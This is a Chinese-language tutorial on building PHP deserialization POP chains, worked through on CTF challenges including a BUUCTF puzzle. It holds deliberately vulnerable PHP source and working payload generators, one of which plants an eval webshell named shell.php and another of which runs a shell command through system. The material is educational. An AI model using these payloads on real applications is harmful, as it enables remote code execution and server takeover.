PHP反序列化漏洞与POP链的构造

构造POP链

​ 首先,如果想要利用PHP的反序列化漏洞一般需要两个条件:

  1. unserialize()函数参数可控。(还可以结合Phar://协议)
  2. 魔法方法和危险函数。

​ 可是,在ctf题目中,我们常常会发现想要利用的危险函数并不在有魔法方法的类中,而此时就要构造POP链(控制程序执行流程的链),让没有关系的类扯上关系。

构造思路

  • 能控制反序列化的点
  • 反序列化类有魔术方法
  • 魔术方法里有敏感操作(常规思路)
  • 魔术方法里无敏感操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(POP链)

简单例子

​ 来自lemon师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);

​ 可以看到,在程序最后有反序列化函数并且参数d可控,下来在类中寻找危险函数。在evil函数中存在危险函数eval(),同时在lemon类中发现魔法方法__construct()和__destruct()。

​ 分析一下,在lemon类新建的时候,__construct()创建了一个normal类的对象,并在lemon类销毁的时候,__destruct()会调用normal类中的action()方法。但可以看到,在evil类中,同样有action()方法,而且其中还有危险函数eval()。

​ 如果我们在lemon类新建的时候,将__construct()新建的对象改为evil的对象,就可以利用危险函数了。

​ payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));

进阶例子

​ 来自lemon师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("E:\\WWW\\test\\ctf" . $this->filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;//这里装入LogWriter_File对象
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {//这里偷梁换柱Song的log
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};
class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};
unserialize($_GET['cmd']);

​ 可以看到,代码很长,还是从反序列化点和危险函数找起来比较好。可以看到User类中$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])),这个cookie是可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

​ 还有程序最后的unserialize($_GET['cmd']);,也是可控的参数与反序列化点,下来寻找的危险函数。

  1. LogWriter_File类中的file_put_contents函数,可以用来写木马。
  2. OutputFilter类中,由于preg_replace函数pattern可控,如果在PHP版本不高于5.5的情况下可以执行命令。

​ 因为PHP的版本不确定,这里分析file_put_contents函数的POP链构造。构造方向可以是从可控点到危险函数,也可以是从危险函数到参数可控点。正反都可以,这样有条理一点。

​ 一个可控的unserialize点可以让我们控制{当前的定义的类或者自动加载能找到的类}的属性(这个对象属性也可以是一个对象)。这里正着来,去寻找魔法方法。

​ 在Lyrics类中,可以看到两个魔法方法:

1
2
3
4
5
6
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}

​ 这两个魔法方法虽没有敏感操作,但可以看到__destruct()中调用了log()方法,且log()方法存在于Song类和Logger类中。Song类中的log()方法只是简单拼接字符串,并不能继续深入;而Logger类中的log()方法又调用了LogWriter_File类的writeLog()方法,file_put_contents()又正好在这个方法中。所以构造POP链如下:

User类中可控的反序列化点lyrics => Logger类的log()方法 => LogWriter_File类的writeLog()方法 => 危险函数file_put_contents()

​ 下来写payload,新建一个Lyrics对象将它的song属性填充成Logger对象,再把logger对象的logwriter的属性填充成LogWriter_File对象,最后传送给cookie,在Lyrics对象被销毁的时候就可以触发__destruct()。

1
2
3
4
5
6
7
<?php
$arr = array(new OutputFilter("//","<?php eval(\$_POST['c']);?>"));
$obj1 = new LogFileFormat($arr,'\n');
$obj2 = new LogWriter_File("shell.php",$obj1);
$obj3 = new Logger($obj2);
$obj = new Lyrics("2333",$obj3);
echo urlencode(serialize($obj));

​ 再get一次,就可以拿到shell。

练习

​ 再拿一到buuctf的红包题来练习一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
error_reporting(0);
# 入口: A::__destruct
class A {
protected $store;
protected $key;
protected $expire;

public function __construct($store) {
$this->key = $key; # 文件名
$this->expire = $expire;
$this->store = $store; # class B
}

public function cleanContents(array $contents) { # $cache为数组
$cachedProperties = array_flip([ # 交换数组中的键和值
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

/*foreach ( $array as $key => $value ) {
// (do something with $key and/or $value here
}*/
foreach ($contents as $path => $object) {
if (is_array($object)) { # 检查$object的值是否为数组,如果不是,则此循环没用
$contents[$path] = array_intersect_key($object, $cachedProperties);
# array_intersect_key() 返回一个数组,数组内容是两个参数数组中键名的交集
}
}

return $contents;
}//审计后发现这个函数功能是返回数组,$object不为数组,输入即输出

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache); # 需要自己构造 $cache

return json_encode([$cleaned, $this->complete]); # 需要自己构造 $complete
}

public function save() {
$contents = $this->getForStorage();
# 文件名,文件内容,过期时间
$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save(); # 入口
}
}

}

class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
# 获取$name,过滤.php,返回随机name
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name; # 需要自己构造 options['prefix']
#strlen()第二个参数为负数 - 在从字符串结尾的指定位置开始,这里从倒数第四个字符开始计算
if(substr($cache_filename, -strlen('.php')) === '.php') { # 过滤后缀 .php
die('?');
}
return $cache_filename;
}
# string or 序列化 data
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
# 如果data是整型变量,则转为字符串返回,否则序列化后返回
$serialize = $this->options['serialize']; # 需要自己构造 options['serialize']
return $serialize($data);
}
# $this->key, $contents, $this->expire
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename); # 返回路径中的目录部分

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

# %012d 生成12位数,不足前面补0
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; # 死亡exit

$result = file_put_contents($filename, $data); # shell写入

if ($result) {
return $filename;
}

return null;
}
}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

​ 代码还是很长,因为有一些不知道的php用法,这次一一差文档,做了注释。之后,先去找危险函数,看到类B中的set()方法中有危险函数file_put_contents()和可控的$this->options['serialize'];,但不能直接应用。下来去找魔法方法,类A中的__construct()用来构造初始化,不能深入;__destruct()中调用了save()方法,而save()方法中又调用了set()方法,若将$this->store->set($this->key, $contents, $this->expire);中的$store改为B对象,就可以指向类B的set()方法,进而利用危险函数。所以,构造POP链如下:

A类中__destruct()方法 => A类的save()方法 => save()方法中的set()方法 => B类中的set()方法 => 危险函数file_put_contents()或者$this->options['serialize'];

​ 从整个POP链流程开始,跟据函数流程,来控制要修改或者添加的参数,可以写出payload,这里利用的是php特性:

当使用system(xxxxxx)的时候, xxxx中如果有反引号包裹的东西那么这块部分会被优先执行

​ payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct() {
$this->key = "1";#使类B中的name不为null
$this->expire = 1; #使类B中的expire不为null
$this->autosave = false;#在__destruct()中进入save()函数
$this->cache = ["aaa"=>'`cat /flag > ./hello`'];//将flag输出到hello文件中,
$this->complete = true;
$this->store = new B();
}
}

class B {

public function __construct()
{
$this->options = [
'serialize' => 'system',# 赋值为system,利用system特性
'data_compress' => false,# 使数据不被压缩
'prefix' => "bbb"# 随便给出名字
];
}
}
$a = new A();
echo urlencode(serialize($a));

​ 将内容以get方式提交给data,再去访问hello文件,即可获取flag。这道题目还有许多其他方法,在下面博客里面也都有,这里先不写了。

​ 原先以为这种大块代码的内容很麻烦,但要是把一些关键函数都了解一下,能够有条理地分析的话,这样的题目还是比较简单的,因为源码都给出来了,也不用各种猜。但还是有不熟练的地方,望以后碰到这种题目能够做出来。

参考
1.http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
2.https://blog.szfszf.top/tech/php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE%E7%9A%84%E6%9E%84%E9%80%A0%E4%B8%8E%E7%90%86%E8%A7%A3/
3.http://www.gtfly.top/2020/01/29/2020BuuCTF%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%98.html